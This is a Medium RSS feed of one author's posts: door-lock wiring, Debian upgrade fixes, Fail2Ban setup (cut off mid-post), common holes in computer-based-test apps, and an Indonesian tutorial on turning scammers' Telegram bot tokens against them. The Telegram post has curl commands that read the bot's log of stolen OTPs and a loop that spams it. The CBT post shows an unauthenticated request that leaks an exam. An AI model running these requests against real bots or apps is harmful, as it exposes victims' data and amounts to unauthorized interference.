<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by dimas on Medium]]></title>
        <description><![CDATA[Stories by dimas on Medium]]></description>
        <link>https://medium.com/@dms-r?source=rss-3312d764550d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by dimas on Medium</title>
            <link>https://medium.com/@dms-r?source=rss-3312d764550d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 20 May 2026 22:24:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dms-r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Catatan Access Door]]></title>
            <link>https://dms-r.medium.com/catatan-access-door-93f77aa55e8c?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/93f77aa55e8c</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 14:19:08 GMT</pubDate>
            <atom:updated>2025-11-13T14:21:38.900Z</atom:updated>
            <content:encoded><![CDATA[<h4>Bagaimana cara arus listrik mengamankan pintu kita?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*dhBYqtWottPsS0cK72jSAQ.png" /></figure><h3>Analogi</h3><p>Bayangkan arus listrik seperti air:</p><ul><li>12V (+) = pipa air yang mengalirkan air ke perangkat.</li><li>Minus / GND (-) = pipa balik yang mengembalikan air ke sumber.</li><li>Saklar / NO / NC / COM = keran yang dibuka/tutup untuk mengarahkan aliran.</li></ul><p>Sekarang kita uraikan tiap sambungan:</p><h4>1) 12v adaptor &gt; 12v mesin &gt; 12v exit &gt; emergensi 1</h4><blockquote>Jalur positif (+12V) dari adaptor melewati mesin (reader), lalu tombol Exit, lalu berakhir di terminal pertama pada Emergency Break Glass.</blockquote><p>Penjelasan mudah:</p><ul><li>Adaptor mengirim +12V.</li><li>Dari adaptor, kabel +12V disambungkan ke terminal 12V pada mesin/read­er. Itu memberi daya pada mesin.</li><li>Dari terminal 12V mesin, kabel lanjut ke Exit button sehingga tombol juga mendapat daya (meskipun tombol biasanya tidak “mengkonsumsi” banyak daya).</li><li>Terakhir kabel itu lanjut ke Emergency Break Glass (terminal 1). Dari sana, bila kondisi normal, arus diteruskan ke M-Lock.</li></ul><p>Ini artinya semua perangkat mendapat pasokan +12V dari satu jalur yang berurutan — dan jalur positif untuk M-Lock melewati emergency glass sehingga saat kaca dipecahkan/ditekan arus positif terputus → M-Lock mati → pintu terlepas.</p><h4>2) Minus Adaptor &gt; minus mesin &gt; minus exit &gt; Com mesin</h4><blockquote>Jalur negatif / minus / GND dari adaptor disambung ke ground semua perangkat dan juga ke terminal COM mesin (common pada mesin/reader).</blockquote><p>Penjelasan:</p><ul><li>Adaptor memiliki dua kabel keluar: +12V dan — (minus / ground). Kabel minus ini disambungkan ke semua perangkat supaya mereka punya “rangkaian lengkap”.</li><li>Menyambungkan minus adaptor ke COM mesin berarti COM mesin berada pada potensial ground yang sama dengan sumber. Ini diperlukan agar saklar-saklar (tombol/reader) bisa “mengirim” sinyal dengan benar ke mesin.</li></ul><p>Fungsi praktis: Semua peralatan harus berbagi ground yang sama agar sinyal dari tombol/reader dapat dipahami oleh mesin.</p><h4>3) But mesin &gt; NO exit</h4><blockquote>Terminal But (button input) pada mesin dihubungkan ke terminal NO (Normally Open) pada tombol exit.</blockquote><p>Penjelasan:</p><ul><li>Tombol exit memiliki dua kontak umum: COM dan NO. Saat tombol <em>belum ditekan</em>, NO tidak terhubung ke COM (seperti keran tertutup). Saat ditekan, NO terhubung ke COM (keran terbuka).</li><li>Mesin punya terminal But untuk menerima sinyal “ada orang tekan tombol”. Saat NO terhubung ke COM (tombol ditekan), mesin “mengerti” dan men-trigger buka kunci.</li></ul><h4>4) GND mesin &gt; COM exit</h4><blockquote>Ground (GND/Minus) dari mesin disambungkan ke terminal COM pada tombol exit.</blockquote><p>Penjelasan:</p><ul><li>Untuk tombol exit bekerja sebagai saklar yang menghubungkan ground ke input mesin, COM tombol harus terhubung ke ground mesin.</li><li>Ketika tombol ditekan, NO (yang terhubung ke But mesin) akan mendapatkan ground lewat COM → mesin mendeteksi input karena sisi But menjadi ground.</li></ul><p>Tombol hanya “menutup rangkaian” antara But mesin dan ground ketika ditekan. Dengan COM di-ground-kan, NO akan membawa ground itu ke mesin saat tombol ditekan.</p><h4>5) Minus MLock &gt; NC mesin</h4><blockquote>Kabel negatif (minus) dari M-Lock dihubungkan ke terminal NC (Normally Closed) pada mesin.</blockquote><p>Penjelasan:</p><ul><li>Biasanya NC berarti: pada keadaan normal (tidak ada perintah membuka), NC tertutup sehingga arus bisa mengalir.</li><li>Dengan menghubungkan minus M-Lock ke NC mesin, mesin mengendalikan sambungan ground/negatif untuk M-Lock melalui relay internalnya:</li><li>Saat mesin <em>idle</em> (tidak membuka), NC tertutup → M-Lock mendapat negatif → ditambah positif dari sisi + → kunci aktif (menyala) → pintu terkunci.</li><li>Saat mesin memutuskan untuk membuka (mis. kartu sah, tombol exit), relay membuka NC → negatif ke M-Lock putus → sirkuit M-Lock terbuka → M-Lock mati → pintu terbuka.</li></ul><p>Mesin bertindak seperti saklar otomatis yang memutus salah satu sisi arus ke kunci (dalam hal ini sisi minus).</p><h4>6) Plus MLock &gt; 2A emergensi</h4><blockquote>Kabel positif (+) M-Lock disambungkan ke terminal 2A pada Emergency Break Glass (terminal keluaran dari kaca darurat).</blockquote><p>Penjelasan:</p><ul><li>Dari langkah 1, +12V berakhir di Emergency (terminal 1). Emergency punya dua terminal: 1 &amp; 2 (atau 1 &amp; 2A). Saat normal, 1 dan 2A terhubung sehingga arus bisa mengalir ke M-Lock.</li><li>Kabel dari terminal 2A membawa +12V ke terminal + pada M-Lock.</li><li>Jika kaca darurat dipecahkan → 1 dan 2A terputus → + tidak sampai M-Lock → kunci kehilangan daya → pintu terbuka.</li></ul><p>Emergency memotong suplai positif M-Lock agar pintu bisa dibuka saat kondisi darurat.</p><p>Skema yang mungkin terjadi:</p><h4>Keadaan A — Normal (tidak ada aktivitas)</h4><ul><li>+12V masuk ke M-Lock lewat Emergency (1→2A).</li><li>NC mesin terhubung, sehingga M-Lock mendapat minus → kunci aktif/terkunci.</li><li>Pintu tidak bisa dibuka (kecuali oleh tindakan yang kita jelaskan di bawah).</li></ul><h4>Keadaan B — Orang tap kartu valid pada Reader</h4><ul><li>Reader mendeteksi kartu → mesin memutus NC (relay membuka) untuk jangka waktu singkat → minus M-Lock terputus → M-Lock mati → pintu terbuka sementara.</li><li>Setelah beberapa detik mesin menutup kembali NC → kunci menyala lagi.</li></ul><h4>Keadaan C — Tombol Exit ditekan</h4><ul><li>Tombol Exit menutup jalur NO → COM. Karena COM terhubung ke ground mesin, But mesin melihat ground → mesin memutus NC → M-Lock mati → pintu terbuka.</li><li>Setelah tombol dilepas, rangkaian kembali seperti semula dan kunci mengunci.</li></ul><h4>Keadaan D — Emergency Break Glass dipecahkan</h4><ul><li>Terminal 1 dan 2A terputus → +12V tidak sampai ke M-Lock → M-Lock mati terus sampai emergency diganti/diriset.</li><li>(Ini sengaja: untuk keselamatan, agar orang bisa keluar tanpa hambatan.)</li></ul><h4>Keadaan E — Listrik mati</h4><ul><li>Adaptor kehilangan daya → seluruh sistem mati termasuk M-Lock → pintu terbuka (atau tergantung jenis kunci: beberapa M-Lock adalah fail-safe sehingga buka saat mati).</li><li>Ini normal untuk magnetic lock (fail-safe) karena mereka membutuhkan listrik untuk mengunci.</li></ul><h4>Kenapa disusun seperti ini?</h4><ol><li>Keselamatan utama: Emergency memotong +12V M-Lock sehingga pintu bisa dibuka saat darurat.</li><li>Kontrol terpusat lewat mesin/reader: Mesin yang memutus NC sehingga ia bisa menentukan kapan kunci dikunci/terbuka (setelah validasi kartu atau input tombol).</li><li>Sirkuit tombol sederhana: Tombol keluar hanya menghubungkan ground ke mesin; mesin yang mengubah keadaan kunci.</li><li>Ground bersama: Semua perangkat pakai ground yang sama supaya sinyal dapat “dibaca” dengan benar.</li></ol><p>D.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93f77aa55e8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fix apt update Errors When Upgrading]]></title>
            <link>https://dms-r.medium.com/fix-apt-update-errors-when-upgrading-73674038f284?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/73674038f284</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 01:53:15 GMT</pubDate>
            <atom:updated>2025-08-19T01:53:15.175Z</atom:updated>
            <content:encoded><![CDATA[<h4>Debian Bullseye to Bookworm</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2ysTeFU928mHrxg1" /><figcaption>Photo by <a href="https://unsplash.com/@lukash?utm_source=medium&amp;utm_medium=referral">Lukas</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Upgrading a Debian system from Bullseye (11) to Bookworm (12) often works smoothly, but some users encounter errors when running apt update after switching repositories. Common issues include certificate verification failures and missing GPG keys. This guide explains the root causes and step-by-step solutions.</p><h3>1. Certificate Verification Failed</h3><p>Example error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*hoh2cCmT8tfE1xhWnclqAA.jpeg" /></figure><pre>Err:1 https://deb.debian.org/debian bookworm InRelease Certificate verification failed: The certificate is NOT trusted. The certificate issuer is unknown. </pre><h4>Causes</h4><ul><li>Outdated ca-certificates package (system does not recognize newer Debian mirror certificates).</li><li>Incorrect system clock (causing TLS validation failures).</li><li>Legacy apt-transport-https configuration.</li></ul><h4>Solutions</h4><ul><li>Check system time</li></ul><pre>timedatectl status</pre><pre>sudo timedatectl set-ntp true </pre><p>If your clock is incorrect, TLS verification will fail.</p><ul><li>Reinstall CA certificates</li></ul><p>Update the trust store using the old repositories (Bullseye):</p><pre>sudo apt update</pre><pre>sudo apt install --reinstall ca-certificatessudo update-ca-certificates </pre><pre> sudo update-ca-certificates </pre><ul><li>Use HTTP temporarily If HTTPS still fails, switch your /etc/apt/sources.list to http:// instead of https://. This allows you to bootstrap the upgrade:</li></ul><pre>deb http://deb.debian.org/debian bookworm main contrib non-freedeb http://security.debian.org/debian-security bookworm-security main contrib non-free deb http://deb.debian.org/debian bookworm-updates main contrib non-free </pre><pre> deb http://security.debian.org/debian-security bookworm-security main contrib non-freedeb http://deb.debian.org/debian bookworm-updates main contrib non-free </pre><pre> deb http://deb.debian.org/debian bookworm-updates main contrib non-free </pre><h3>2. Missing GPG Keys</h3><h4>Example error:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*QHNy4xVpzyDfpFXky8dirw.jpeg" /></figure><pre>W: GPG error: http://deb.debian.org/debian bookworm-updates InRelease: The following signatures couldn&#39;t be verified because the public key is not available: NO_PUBKEY 6ED0E7B82643E131 NO_PUBKEY 78DBA3BC47EF2265 </pre><h4>Causes</h4><ul><li>The system does not yet have the Debian 12 archive keys.</li><li>The package debian-archive-keyring is outdated on Bullseye.</li></ul><h4>Solutions</h4><ul><li>Update the Debian keyring</li></ul><pre>sudo apt update</pre><pre>sudo apt install debian-archive-keyring</pre><pre>sudo apt --reinstall install debian-archive-keyring </pre><ul><li>Manually fetch Bookworm keys (if repo access is broken)</li></ul><pre>curl -fsSL https://ftp-master.debian.org/keys/archive-key-12.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring.gpgcurl -fsSL https://ftp-master.debian.org/keys/archive-key-12-security.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring-security.gpg </pre><pre> curl -fsSL https://ftp-master.debian.org/keys/archive-key-12-security.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring-security.gpg </pre><ul><li>Retry update</li></ul><pre>sudo apt update </pre><h3>3. Proceeding with the Upgrade</h3><p>Once certificate validation and GPG errors are resolved:</p><pre>sudo apt update</pre><pre>sudo apt upgrade</pre><pre>sudo apt full-upgrade </pre><p>After the system is fully upgraded, switch back to https:// repositories for better security:</p><pre>deb https://deb.debian.org/debian bookworm main contrib non-free</pre><pre>deb https://security.debian.org/debian-security bookworm-security main contrib non-free</pre><pre>deb https://deb.debian.org/debian bookworm-updates main contrib non-free </pre><h3>Conclusion</h3><p>When upgrading from Bullseye to Bookworm, two common blockers are:</p><ul><li>TLS certificate verification failures → fix with correct system time and updated ca-certificates.</li><li>Missing GPG keys → fix with the latest debian-archive-keyring or manual key installation.</li></ul><p>By addressing these issues, you can run apt update successfully and complete a smooth upgrade to Debian 12 Bookworm.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73674038f284" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit Bot Telegram pada APK Scammer OTP]]></title>
            <link>https://dms-r.medium.com/exploit-bot-telegram-pada-apk-scammer-otp-091e0bd7c77f?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/091e0bd7c77f</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 08:47:47 GMT</pubDate>
            <atom:updated>2025-08-04T04:02:23.694Z</atom:updated>
            <content:encoded><![CDATA[<h4>Tutorial singkat ganggu scammer</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fk24oPih3gJKNqpG" /><figcaption>Photo by <a href="https://unsplash.com/@lanacodes?utm_source=medium&amp;utm_medium=referral">Lana Codes</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Beberapa waktu lalu, saya nemu APK aneh yang katanya buat “aktivasi ulang m-banking”. Padahal, isinya cuma layout jelek dan minta kredensial yang tujuannya satu: ngambil kredensial user, OTP user, dan ngirim ke sebuah bot Telegram. Yup, bot Telegram — bukan server pribadi, bukan API cloud, tapi bot. Simpel dan praktis, tetapi cukup rentan.</p><p>Ini bukan hal baru, tapi cukup menarik buat dibahas karena banyak scammer sekarang makin nyaman pake Telegram sebagai “transport layer” data curian mereka. Dan lucunya, sebagian dari mereka gak sadar kalau cara mereka bisa dibalik, bisa dieksploitasi balik.</p><h3>Cara Kerja Bot Telegram dalam APK Scam OTP</h3><p>Biasanya, APK scam yang beredar itu mengandung kode yang akan otomatis meng-capture data user: OTP SMS, credentials, dan kadang device info. Data ini dikirim ke bot Telegram lewat API yang sangat terbuka:</p><pre>https://api.telegram.org/bot&lt;token&gt;/sendMessage?chat_id=&lt;chat_id&gt;&amp;text=OTP:%20123456</pre><p>Bot Telegram di sini fungsinya cuma kayak tukang pos — nerima pesan, terus disalurin ke akun Telegram si pelaku. Dan semua itu tergantung pada dua elemen penting: Token Bot dan Chat ID.</p><h3>Perbedaan Token Bot dan Chat ID</h3><p>Token Bot adalah kunci API unik yang dipakai buat ngakses dan kontrol bot Telegram via HTTP API. Biasanya formatnya kayak:</p><pre>123456789:AAHx_yourActualTokenHereXyz</pre><p>Token ini kayak password — siapa pun yang punya, bisa kirim dan nerima pesan lewat bot itu. Makanya, kalau sampai bocor, bot-nya bisa dipakai siapa aja.</p><p>Sementara itu, Chat ID adalah ID tujuan pesan. Bisa berupa:</p><ul><li>ID user (kalau pesannya ke personal)</li><li>ID grup/supergroup</li><li>ID channel (negatif, misalnya -1001234567890)</li></ul><p>Bot butuh kedua data ini: token untuk akses, chat_id untuk tahu harus ngirim ke mana.</p><h3>Cara Menemukan Token Bot</h3><h4>Cara Menemukan Token Bot (via APK)</h4><ol><li>Reverse APK pakai tools kayak:</li></ol><ul><li>apktool</li><li>jadx-gui</li><li>strings</li></ul><p>2. Cari string URL yang berisi</p><pre>https://api.telegram.org/bot<br></pre><p>Biasanya format ini hardcoded di class Java utama atau helper HTTP.</p><p>Contoh:</p><pre>String url = &quot;https://api.telegram.org/bot123456789:ABCdefGhIJKlmnoPQR/sendMessage&quot;;</pre><p>Copy bagian setelah /bot sampai sebelum /sendMessage. Itulah token-nya.</p><h4>Cara Menemukan Chat ID</h4><p>Ada beberapa cara:</p><ol><li>Sniff dari APK/script</li></ol><p>Kadang, chat_id langsung diset di dalam kode barengan dengan token.</p><p>Misalnya:</p><pre><br>String chat_id = &quot;123456789&quot;;</pre><p>2. Gunakan token dan eksplor via API</p><p>Kirim pesan ke bot (pake akun dummy), lalu panggil endpoint:</p><pre><br>curl -s https://api.telegram.org/bot&lt;TOKEN&gt;/getUpdates</pre><p>Lo bakal dapet respon JSON yang mirip:</p><pre><br>{<br>  &quot;message&quot;: {<br>    &quot;chat&quot;: {<br>      &quot;id&quot;: 987654321,<br>      &quot;type&quot;: &quot;private&quot;<br>    },<br>    &quot;text&quot;: &quot;halo&quot;<br>  }<br>}</pre><p>Nah, 987654321 itulah chat ID-nya.</p><p>3. Pakai Bot Debug</p><p>Gunakan bot @userinfobot di Telegram</p><p>Chat, lalu dia bakal kasih tahu ID Telegram kamu</p><h3>Deteksi Aktivitas Bot</h3><p>Kalau token udah di tangan, kita bisa pantau aktivitas si bot. Misalnya:</p><pre>curl -s &quot;https://api.telegram.org/bot&lt;TOKEN&gt;/getUpdates&quot;</pre><p>Kalau bot gak pake webhook (masih polling), maka log percakapan user korban akan muncul. Bisa jadi OTP, nama akun, bahkan isi percakapan penuh.</p><h3>Eksploitasi Token &amp; Chat ID</h3><p>Contoh sederhana kirim pesan spam:</p><pre>curl -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage \<br>-d chat_id=&lt;CHAT_ID&gt; \<br>-d text=&quot;OTP: 000000 - bot kamu bocor bro&quot;</pre><p>Bisa juga dibuat loop spam, buat bikin panik pelaku dan ngerusak sorting OTP:</p><pre>for i in {1..100}; do<br>  curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage \<br>  -d chat_id=&lt;CHAT_ID&gt; \<br>  -d text=&quot;OTP: $(shuf -i 100000-999999 -n 1)&quot;<br>done</pre><h3>Cara Revoke Token Bot</h3><h4>Apa itu Revoke?</h4><p>Revoke = mencabut token API bot Telegram → jadi gak bisa lagi diakses lewat endpoint mana pun. Ibaratnya, ngeganti kunci rumah karena bocor.</p><h4>Siapa yang Bisa Revoke?</h4><p>Pemilik Bot (yang bikin lewat @BotFather)</p><p>Pihak luar? Gak bisa langsung. Tapi... lo bisa bikin pelaku panic revoke.</p><h4>Cara Paksa Pelaku Revoke (Tidak Langsung)</h4><p>Strategi gangguan:</p><ul><li>Kirim spam atau teks ancaman eksplisit (“bot kamu ketahuan”)</li><li>Tunjukkan kamu bisa baca log OTP mereka</li><li>Masuk ke group/channel tujuan kalau ID-nya terbuka</li><li>Kirim perintah palsu terus-menerus</li></ul><p>Biasanya setelah itu, pelaku:</p><ul><li>Revoke token</li><li>Hapus bot</li><li>Pindah metode lain</li></ul><p>Dan satu celah pun bisa cukup buat ganggu operasional mereka.</p><p>Bot Telegram yang digunakan scammer buat ngambil OTP dari user itu bukan sistem canggih. Mereka bergantung sama kemalasan korban dan kebodohan implementasi. Token bot = kunci rumah mereka. Chat ID = alamat tujuan curian. Dan keduanya sering bocor cuma dari APK atau script yang gak dikunci rapi.</p><p>Dengan modal token dan sedikit niat, kita bisa pantau aktivitas, rusak sistem mereka, bahkan bikin mereka ganti metode.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=091e0bd7c77f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common Vulnerabilities in CBT Applications]]></title>
            <link>https://dms-r.medium.com/common-vulnerabilities-in-cbt-applications-e8b57e991b2d?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8b57e991b2d</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 11:50:38 GMT</pubDate>
            <atom:updated>2025-07-30T11:54:55.870Z</atom:updated>
            <content:encoded><![CDATA[<h4>Just the conclusion of my secret writeup</h4><figure><img alt="Interior of a classroom, students bent at study, Yallourn, 1947." src="https://cdn-images-1.medium.com/max/1024/0*KKhje2P9wLeyE9N0" /><figcaption>Photo by <a href="https://unsplash.com/@museumsvictoria?utm_source=medium&amp;utm_medium=referral">Museums Victoria</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Picture a high-stakes school exam. Papers sealed, proctors on alert, students seated quietly. Now picture someone miles away—no uniform, no hall pass—accessing the exam questions with nothing but a laptop and some scripts. No login needed, no rules broken (yet), and definitely no supervision.</p><p>Welcome to the world of vulnerable Computer-Based Test (CBT) applications—where a single poorly secured API can dismantle the integrity of an entire testing system.</p><p>In this article, we’ll walk through the most common vulnerabilities found in CBT apps, from a high-level overview to technical deep dives. We’ll explain what goes wrong, how attackers exploit it, and how to fix or avoid these issues altogether.</p><h3>What is a CBT Application?</h3><p>A Computer-Based Test (CBT) application is a platform that manages digital exams. It typically includes:</p><ul><li>Student and admin login systems</li><li>Exam and question management</li><li>Automatic grading</li><li>Results dashboard</li></ul><p>Unfortunately, many CBT platforms prioritize features and deadlines over security. That’s where things fall apart.</p><h3>1. Unauthenticated Access to Question Endpoints</h3><h4>The Problem</h4><p>Some CBT applications expose API endpoints like:</p><pre>GET /api/questions/exam/12345</pre><p>These endpoints don’t require proper authentication or authorization, meaning anyone who guesses or discovers the URL structure can access the exam content.</p><h4>Real-World Exploitation</h4><p>A simple curl command or browser request could leak entire exams:</p><pre>curl http://cbt.example.com/api/questions/exam/12345</pre><p>Response:</p><pre>{<br>  &quot;title&quot;: &quot;Math Final Exam&quot;,<br>  &quot;questions&quot;: [<br>    {<br>      &quot;id&quot;: 1,<br>      &quot;question&quot;: &quot;What is 12 × 8?&quot;,<br>      &quot;options&quot;: [&quot;96&quot;, &quot;88&quot;, &quot;102&quot;, &quot;108&quot;]<br>    }<br>  ]<br>}</pre><h4>Best Practices</h4><ul><li>Always enforce authentication with JWT or OAuth.</li><li>Use role-based access control (RBAC).</li><li>Time-lock sensitive endpoints until exams start.</li><li>Never assume obscurity (like long IDs) is a valid security control.</li></ul><h3>2. Exposed Student Data via Weak Endpoints</h3><h4>The Problem</h4><p>APIs like:</p><pre>GET /api/admin/students</pre><p>are often unprotected or inadequately restricted. This gives unauthorized users access to student profiles, grades, IDs, and other sensitive data.</p><h4>Risks</h4><ul><li>Violates data privacy laws (e.g., GDPR, FERPA).</li><li>Exposes students to identity theft, phishing, or social engineering.</li><li>Undermines trust in the platform.</li></ul><h4>Best Practices</h4><ul><li>Lock down sensitive APIs with strict role validation.</li><li>Encrypt all traffic using HTTPS.</li><li>Implement least privilege principles for users and admins.</li><li>Log and monitor for suspicious access patterns.</li></ul><h3>3. Hardcoded Unlock Codes in Mobile App (APK)</h3><h4>The Problem</h4><p>Mobile CBT apps often include an &quot;unlock exam&quot; feature, controlled by a code. Unfortunately, this unlock code is often hardcoded inside the APK, making it trivial to reverse engineer.</p><h4>Common Mistake</h4><pre>if(inputCode.equals(&quot;EXAM2024UNLOCK&quot;)) {<br>    allowAccess();<br>}</pre><h4>How Attackers Exploit This</h4><ul><li>Use tools like APKTool, JADX, or MobSF to decompile the app.</li><li>Search for static strings or method names like unlock, grantAccess, or the code itself.</li></ul><h4>Best Practices</h4><ul><li>Never store secrets in client-side code.</li><li>Use server-side validation for all logic involving access control.</li><li>Obfuscate code with ProGuard or R8, but remember: obfuscation ≠ encryption.</li></ul><h3>4. Metadata Endpoints Leak Exam &amp; School Data</h3><h4>The Problem</h4><p>Some endpoints return all exam metadata, including:</p><ul><li>School names</li><li>Username school</li><li>Test IDs</li><li>Exam OTP code</li><li>Exam start/end times</li><li>Status (active/inactive)</li></ul><p>For example:</p><pre>GET /api/exams/list</pre><h4>Why This Is Dangerous</h4><p>Even if the actual questions are protected, this metadata gives attackers:</p><ul><li>A map of which exams exist and when they run.</li><li>Students can do the exam in advance by manipulating the time and exam OTP code.</li><li>IDs that can be used to brute force access to exam content.</li><li>Username school can be used to brute force access to the admin school dashboard.</li><li>A chance to scrape data in advance and build automated solvers or pre-submission attacks.</li></ul><h4>Best Practices</h4><ul><li>Don&#39;t expose unnecessary metadata to unauthenticated users.</li><li>Paginate and restrict data access based on user roles.</li><li>Implement rate limiting and detect abnormal access patterns (e.g., scanning bots).</li><li>Only return minimal, necessary data for the current user’s role.</li></ul><h3>Tips, Pitfalls, and Tools for Securing CBT Apps</h3><h4>Common Pitfalls to Avoid</h4><ul><li>Using Access-Control-Allow-Origin: * in production</li><li>Serving the app over HTTP instead of HTTPS</li><li>Hardcoding sensitive keys or secrets</li><li>Not validating input (especially on the backend)</li></ul><h4>Tools for Testing &amp; Securing CBT Apps</h4><ul><li>Burp Suite – to intercept and test API requests</li><li>JadX – to reverse engineering code of apk</li><li>MobSF – for mobile app reverse engineering</li><li>OWASP ZAP – automated scanning</li><li>Postman or Insomnia – for exploring and documenting APIs</li><li>JWT.io Debugger – for testing and verifying tokens</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8b57e991b2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fail2Ban Example]]></title>
            <link>https://dms-r.medium.com/fail2ban-example-3ea3651020f2?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ea3651020f2</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 03:06:08 GMT</pubDate>
            <atom:updated>2025-07-29T03:07:17.407Z</atom:updated>
            <content:encoded><![CDATA[<h4>The most powerful tools to eliminate brute force server</h4><figure><img alt="Someone programming a website in HTML. But also a photo suitable for hackers. ;) " src="https://cdn-images-1.medium.com/max/1024/0*s6EqZIN-EwiFUnBi" /><figcaption>Photo by <a href="https://unsplash.com/@kommumikation?utm_source=medium&amp;utm_medium=referral">Mika Baumeister</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Imagine you’re sipping coffee while monitoring your server remotely. Suddenly, thousands of failed SSH login attempts flood your logs in just minutes. Panic? Not if you have Fail2Ban watching your back. Sit back, sip slowly.</p><p>In the digital world, security is not just about firewalls and strong passwords. It’s about proactive defense—detecting patterns, reacting in real time. That’s where Fail2Ban steps in, acting like a security guard who doesn’t sleep, doesn’t blink, and kicks out intruders without warning.</p><h3>What is Fail2Ban?</h3><p>Fail2Ban is a Python-based security tool that scans log files for signs of brute-force attacks or suspicious activity—such as too many failed login attempts—and dynamically bans the offending IPs using firewall rules like iptables.</p><blockquote>In simple terms:<br>Too many failed logins = BANNED.</blockquote><h3>Installing Fail2Ban</h3><p>On Debian/Ubuntu:</p><pre>sudo apt update<br>sudo apt install fail2ban</pre><p>On RHEL/CentOS:</p><pre>sudo yum install epel-release<br>sudo yum install fail2ban</pre><p>Start and enable the service:</p><pre>sudo systemctl start fail2ban<br>sudo systemctl enable fail2ban</pre><h3>Basic Configuration</h3><p>Fail2Ban uses the jail.conf config file, but it’s best practice not to edit it directly. Instead, override it with your own jail.local file:</p><pre>sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local</pre><p>Example SSH protection configuration:</p><pre>[sshd]<br>enabled  = true<br>port     = ssh<br>filter   = sshd<br>logpath  = /var/log/auth.log<br>maxretry = 5<br>bantime  = 3600<br>findtime = 600</pre><ul><li>enabled: Activates the jail</li><li>port: Monitored service port (can be custom)</li><li>maxretry: Number of failed attempts before banning</li><li>bantime: Duration (in seconds) for the ban</li><li>findtime: Time window to observe failures</li></ul><h3>Monitor Your Jails</h3><p>Check active jails:</p><pre>sudo fail2ban-client status</pre><p>For a specific jail like SSH:</p><pre>sudo fail2ban-client status sshd</pre><p>Sample output:</p><pre>Status for the jail: sshd<br>|- Filter<br>|  |- Currently failed: 3<br>|  |- Total failed: 10<br>|  `- File list: /var/log/auth.log<br>`- Actions<br>   |- Currently banned: 1<br>   |- Total banned: 4<br>   `- Banned IP list: 203.0.113.77</pre><h3>Enable Email Notifications</h3><p>Want to be alerted when a ban occurs? You can configure Fail2Ban to email you full details including logs and whois info.</p><h4>Step 1: Install mail tools</h4><p>On Debian/Ubuntu:</p><pre>sudo apt install sendmail</pre><p>Or use mailx, ssmtp, or configure your MTA of choice.</p><h4>Step 2: Update jail config</h4><p>In your /etc/fail2ban/jail.local:</p><pre>destemail = your@email.com<br>sender = fail2ban@yourdomain.com<br>action = %(action_mwl)s</pre><ul><li>action_mwl sends: message + whois info + log</li><li>Other options: action_mw, action_, or define a custom action in /etc/fail2ban/action.d/</li></ul><p>Restart Fail2Ban to apply:</p><pre>sudo systemctl restart fail2ban</pre><h3>Visualize Fail2Ban with Fail2Web</h3><p>Sometimes reading logs isn’t enough—you want a dashboard. That’s where Fail2Web comes in: a lightweight web interface for monitoring Fail2Ban activity.</p><h4>Install Fail2Web</h4><pre>sudo apt install git python3-flask<br>git clone https://github.com/Sean-Der/fail2web.git<br>cd fail2web<br>python3 app.py</pre><p>The interface will be available at:<br>http://localhost:5000</p><p>You can reverse-proxy it via Nginx to make it accessible externally (with HTTPS for security).</p><h4>Note:</h4><p>Make sure Fail2Web runs under a secure user and IP restrictions are set. You’re visualizing logs and security data—you don’t want it open to the world.</p><h3>Simulate a 